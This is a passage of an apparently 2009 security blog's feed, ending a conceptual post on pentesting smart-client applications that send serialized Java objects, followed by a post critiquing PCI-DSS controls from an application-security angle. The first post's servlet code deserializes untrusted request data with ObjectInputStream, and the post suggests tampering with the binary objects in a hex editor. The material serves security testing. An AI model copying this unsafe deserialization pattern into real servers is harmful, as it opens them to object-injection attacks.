href="http://4.bp.blogspot.com/_YQCDsDRqeQI/ShFI0l1eDrI/AAAAAAAAAA8/4mkP2bXTXnU/s1600-h/smartClient2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 175px;" src="http://4.bp.blogspot.com/_YQCDsDRqeQI/ShFI0l1eDrI/AAAAAAAAAA8/4mkP2bXTXnU/s400/smartClient2.JPG" alt="" id="BLOGGER_PHOTO_ID_5337127101757525682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;Let’s see the server side code to interpret this octet-stream which will cast the stream to a class object at server side. I am writing java code here, but the idea pretty much remains the same for the beanshell. I can’t disclose any legacy/proprietary information in the code.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoBodyText" style="margin-right: 0in; margin-left: 1in; margin-bottom: 0.0001pt;"&gt;&lt;i&gt;&lt;span style="font-family:Consolas;"&gt;protected void &lt;span style="background: fuchsia none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;doPost&lt;/span&gt;(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoBodyText" style="margin-right: 0in; margin-left: 1in; margin-bottom: 0.0001pt;"&gt;&lt;i&gt;&lt;span style="font-family:Consolas;"&gt;      PrintWriter pw = response.getWriter();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoBodyText" style="margin-right: 0in; margin-left: 1in; margin-bottom: 0.0001pt;"&gt;&lt;i&gt;&lt;span style="font-family:Consolas;"&gt;      try{printRequest(request, pw);} &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoBodyText" style="margin-right: 0in; margin-left: 1in; margin-bottom: 0.0001pt;"&gt;&lt;i&gt;&lt;span style="font-family:Consolas;"&gt;      catch (Exception e) {pw.write("\nCaught Exception: " + e);}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoBodyText" style="margin-right: 0in; margin-left: 1in; margin-bottom: 0.0001pt;"&gt;&lt;i&gt;&lt;span style="font-family:Consolas;"&gt;          pw.flush();}   &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoBodyText" style="margin-right: 0in; margin-left: 1in; margin-bottom: 0.0001pt;"&gt;&lt;i&gt;&lt;span style="font-family:Consolas;"&gt;      &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoBodyText" style="margin-right: 0in; margin-left: 1in; margin-bottom: 0.0001pt;"&gt;&lt;i&gt;&lt;span style="font-family:Consolas;"&gt;public void printRequest(HttpServletRequest req, PrintWriter pw)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoBodyText" style="margin-right: 0in; margin-left: 1in; margin-bottom: 0.0001pt;"&gt;&lt;i&gt;&lt;span style="font-family:Consolas;"&gt;{ObjectInputStream objInStream = new ObjectInputStream(&lt;span style="background: aqua none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;servletinputstream&lt;/span&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoBodyText" style="margin-right: 0in; margin-left: 1in; margin-bottom: 0.0001pt;"&gt;&lt;i&gt;&lt;span style=";font-family:Consolas;color:red;"  &gt;RequestObject&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="font-family:Consolas;"&gt; o1= (&lt;span style="color:red;"&gt;RequestObject&lt;/span&gt;)objInStream.readObject();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoBodyText" style="margin-right: 0in; margin-left: 1in; margin-bottom: 0.0001pt;"&gt;&lt;i&gt;&lt;span style="color: rgb(0, 176, 240);font-family:Consolas;" &gt;...some data processing with serial array type objects... &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoBodyText" style="margin-right: 0in; margin-left: 1in; margin-bottom: 0.0001pt;"&gt;&lt;i&gt;&lt;span style="font-family:Consolas;"&gt;pw.write("\n**********Request data********:\n");&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoBodyText" style="margin-right: 0in; margin-left: 1in; margin-bottom: 0.0001pt;"&gt;&lt;i&gt;&lt;span style="font-family:Consolas;"&gt;pw.write("\no1.toString="+o1.toString());}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;One will have to fetch the request and response object class from the jars/libs downloaded in the temporary folders by the application (use any process monitor to fetch the library/jar names used by the process). The process can be replicated with HTTPS communication.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;Some Basic &lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;assumptions for smart client applications:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.25in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;span style=""&gt;1.&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;We talk of smart clients where proxy can’t be configured.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.25in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;span style=""&gt;2.&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;Smart Client applications work using http wrapper.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.25in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;span style=""&gt;3.&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;The http wrapper contains binary application data. This application data is contains class objects. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.25in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;span style=""&gt;4.&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;b&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;Communication jars&lt;/span&gt;&lt;/b&gt;&lt;span style="color: rgb(31, 73, 125);"&gt; downloaded at client side by smart client contains class instance to map these objects.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.25in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;span style=""&gt;5.&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;Some smart clients use open SOAP (XML based) in http wrapper for communication.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.25in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;span style=""&gt;6.&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;Binary data can be cast in class definition and edited by hex editor.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color: rgb(31, 73, 125);"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/299402845849981080-4822591856452602060?l=securityborg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityborg.blogspot.com/feeds/4822591856452602060/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityborg.blogspot.com/2009/05/pentesting-serial-object-so.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/4822591856452602060'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/4822591856452602060'/><link rel='alternate' type='text/html' href='http://securityborg.blogspot.com/2009/05/pentesting-serial-object-so.html' title='Pentesting serial object (SO) applications like smartclients :: IN CONCEPT'/><author><name>btechcs</name><uri>http://www.blogger.com/profile/17013048902515366122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-3Hbok_pjTXM/Tbjww3vl3LI/AAAAAAAAACg/65Xp5tkxycs/s220/passport.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_YQCDsDRqeQI/ShFIZ63wCfI/AAAAAAAAAAs/kX4zr7DBwfE/s72-c/smartClient.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-299402845849981080.post-7448505303616541518</id><published>2009-05-18T03:24:00.000-07:00</published><updated>2009-05-18T03:26:30.868-07:00</updated><title type='text'>PCI-DSS and Application security ??</title><content type='html'>&lt;div class=Section1&gt;  &lt;p class=MsoNormal&gt;Most people think PCI-DSS compliance as just firewall-Antivirus-TDE (transparent data encryption). &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;As it is obvious, it is more of application security and less of network security.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;Let&amp;#8217;s see what the &lt;i&gt;dirty dozen of PCI-DSS mean from application security perspective:&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=MsoNormal&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='text-indent:-.25in;mso-list:l0 level1 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:Symbol'&gt;&lt;span style='mso-list:Ignore'&gt;&amp;middot;&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;Install and maintain firewall, routers &amp;amp; personal firewalls&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='margin-left:1.0in;text-indent:-.25in; mso-list:l0 level2 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:"Courier New"; color:red'&gt;&lt;span style='mso-list:Ignore'&gt;o&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;&lt;span style='color:red'&gt;Provides no Application Security protection.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='text-indent:-.25in;mso-list:l0 level1 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:Symbol'&gt;&lt;span style='mso-list:Ignore'&gt;&amp;middot;&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;Do not use vendor supplied defaults &amp;amp; harden systems&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='margin-left:1.0in;text-indent:-.25in; mso-list:l0 level2 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:"Courier New"; color:red'&gt;&lt;span style='mso-list:Ignore'&gt;o&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;&lt;span style='color:red'&gt;Maybe some implementations change passwords, but what about configuration and properties files?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='text-indent:-.25in;mso-list:l0 level1 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:Symbol'&gt;&lt;span style='mso-list:Ignore'&gt;&amp;middot;&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;Protect stored data &amp;#8211; encryption &amp;amp; key management&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='margin-left:1.0in;text-indent:-.25in; mso-list:l0 level2 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:"Courier New"; color:red'&gt;&lt;span style='mso-list:Ignore'&gt;o&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;&lt;span style='color:red'&gt;A transparent encryption standard does not stop any application security attacks.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='text-indent:-.25in;mso-list:l0 level1 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:Symbol'&gt;&lt;span style='mso-list:Ignore'&gt;&amp;middot;&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;Encrypt data sent across public networks &amp;#8211; Web &amp;amp; Messaging&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='margin-left:1.0in;text-indent:-.25in; mso-list:l0 level2 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:"Courier New"; color:red'&gt;&lt;span style='mso-list:Ignore'&gt;o&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;&lt;span style='color:red'&gt;Most implementations forget about secure and http-only session ids, used to compromise systems.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='text-indent:-.25in;mso-list:l0 level1 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:Symbol'&gt;&lt;span style='mso-list:Ignore'&gt;&amp;middot;&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;Use and regularly update anti-virus software &amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='margin-left:1.0in;text-indent:-.25in; mso-list:l0 level2 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:"Courier New"; color:red'&gt;&lt;span style='mso-list:Ignore'&gt;o&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;&lt;span style='color:red'&gt;Updated AV base does not protect from custom zip bombs and stack smashing protection.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='text-indent:-.25in;mso-list:l0 level1 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:Symbol'&gt;&lt;span style='mso-list:Ignore'&gt;&amp;middot;&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;Develop and maintain secure applications &amp;#8211; Web &amp;amp; Internal&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='margin-left:1.0in;text-indent:-.25in; mso-list:l0 level2 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:"Courier New"; color:red'&gt;&lt;span style='mso-list:Ignore'&gt;o&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;&lt;span style='color:red'&gt;Audits do not provide complete security picture of the application.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='text-indent:-.25in;mso-list:l0 level1 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:Symbol'&gt;&lt;span style='mso-list:Ignore'&gt;&amp;middot;&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;Restrict access to data by business need to know&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='margin-left:1.0in;text-indent:-.25in; mso-list:l0 level2 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:"Courier New"; color:red'&gt;&lt;span style='mso-list:Ignore'&gt;o&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;&lt;span style='color:red'&gt;Again checks on application security front.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='text-indent:-.25in;mso-list:l0 level1 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:Symbol'&gt;&lt;span style='mso-list:Ignore'&gt;&amp;middot;&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;Assign users unique ID&amp;#8217;s &amp;amp; enforce password controls&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='margin-left:1.0in;text-indent:-.25in; mso-list:l0 level2 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:"Courier New"; color:red'&gt;&lt;span style='mso-list:Ignore'&gt;o&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;&lt;span style='color:red'&gt;Backend communication / config does not comply to these controls.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='text-indent:-.25in;mso-list:l0 level1 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:Symbol'&gt;&lt;span style='mso-list:Ignore'&gt;&amp;middot;&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;Restrict physical access, protect &amp;amp; dispose data securely&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='margin-left:1.0in;text-indent:-.25in; mso-list:l0 level2 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:"Courier New"; color:red'&gt;&lt;span style='mso-list:Ignore'&gt;o&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;&lt;span style='color:red'&gt;Ensure encryption on data and not TDS to secure direct access by application.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='text-indent:-.25in;mso-list:l0 level1 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:Symbol'&gt;&lt;span style='mso-list:Ignore'&gt;&amp;middot;&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;Track &amp;amp; monitor all access to network &amp;#8211; Logs, FIM, other&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='margin-left:1.0in;text-indent:-.25in; mso-list:l0 level2 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:"Courier New"; color:red'&gt;&lt;span style='mso-list:Ignore'&gt;o&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;&lt;span style='color:red'&gt;Usually security threats are kept at debug or low level of logging&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='text-indent:-.25in;mso-list:l0 level1 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:Symbol'&gt;&lt;span style='mso-list:Ignore'&gt;&amp;middot;&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;Regularly test security controls &amp;#8211; Scans, Pen Tests, IDS&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='margin-left:1.0in;text-indent:-.25in; mso-list:l0 level2 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:"Courier New"; color:red'&gt;&lt;span style='mso-list:Ignore'&gt;o&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;&lt;span style='color:red'&gt;Most organizations forget to actually fix after a pen test. Budget used not to fix application, but beef-up network &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='text-indent:-.25in;mso-list:l0 level1 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:Symbol'&gt;&lt;span style='mso-list:Ignore'&gt;&amp;middot;&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;Maintain information security policies&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='margin-left:1.0in;text-indent:-.25in; mso-list:l0 level2 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:"Courier New"; color:red'&gt;&lt;span style='mso-list:Ignore'&gt;o&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;&lt;span style='color:red'&gt;PCI compliant websites / companies are regularly hacked.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='margin-left:1.0in;text-indent:-.25in; mso-list:l0 level2 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:"Courier New"; color:red'&gt;&lt;span style='mso-list:Ignore'&gt;o&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;&lt;span style='color:red'&gt;The turnaround half-time for fixing security defects remains very high (around 3 weeks to 1 month).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=MsoListParagraph style='margin-left:1.0in;text-indent:-.25in; mso-list:l0 level2 lfo2'&gt;&lt;![if !supportLists]&gt;&lt;span style='font-family:"Courier New"; color:red'&gt;&lt;span style='mso-list:Ignore'&gt;o&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;&lt;span style='color:red'&gt;While most application exploits surface on 0 day to a week after vulnerability is discovered.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/299402845849981080-7448505303616541518?l=securityborg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityborg.blogspot.com/feeds/7448505303616541518/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityborg.blogspot.com/2009/05/does-pci-dss-and-application-security.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/7448505303616541518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/7448505303616541518'/><link rel='alternate' type='text/html' href='http://securityborg.blogspot.com/2009/05/does-pci-dss-and-application-security.html' title='PCI-DSS and Application security ??'/><author><name>btechcs</name><uri>http://www.blogger.com/profile/17013048902515366122</uri><email>noreply@blogger.com</email><gd:image 